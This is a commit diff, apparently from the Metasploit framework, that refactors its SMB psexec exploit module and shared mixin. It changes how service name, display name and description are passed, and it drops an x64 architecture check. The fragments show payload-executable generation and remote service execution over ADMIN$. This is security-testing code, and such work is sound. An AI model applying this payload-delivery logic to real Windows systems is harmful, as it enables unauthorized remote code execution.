Skip to content

Commit 1a3b319

Browse files
committed
rebase to use the mixin psexec
1 parent d3f2414 commit 1a3b319

File tree

2 files changed

+2
-6
lines changed

2 files changed

+2
-6
lines changed

lib/msf/core/exploit/smb/psexec.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,6 @@ def psexec(command, disconnect=true, service_description=nil, service_name=nil,
7272
end
7373
servicename = service_name || Rex::Text.rand_text_alpha(11)
7474
displayname = display_name || Rex::Text.rand_text_alpha(16)
75-
servicedescription = service_description || Rex::Text.rand_text_alpha(rand(32)+1)
7675

7776
svc_handle = nil
7877
svc_status = nil

modules/exploits/windows/smb/psexec.rb

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -155,7 +155,7 @@ def exploit
155155
simple.disconnect("ADMIN$")
156156
else
157157
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
158-
servicedescription = datastore['SERVICE_DESCRIPTION'] || rand_text_alpha(rand(32)+1)
158+
servicedescription = datastore['SERVICE_DESCRIPTION']
159159
displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1)
160160

161161
# Upload the shellcode to a file
@@ -179,9 +179,6 @@ def exploit
179179
end
180180
exe = ''
181181
opts = { :servicename => servicename }
182-
if (datastore['PAYLOAD'].include? 'x64')
183-
opts.merge!({ :arch => ARCH_X64 })
184-
end
185182
exe = generate_payload_exe_service(opts)
186183

187184
fd << exe
@@ -205,7 +202,7 @@ def exploit
205202
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
206203
end
207204

208-
psexec(file_location, false, servicedescription)
205+
psexec(file_location, false, servicedescription, servicename, displayname)
209206

210207
print_status("Deleting \\#{filename}...")
211208
sleep(1)

0 commit comments

Comments
 (0)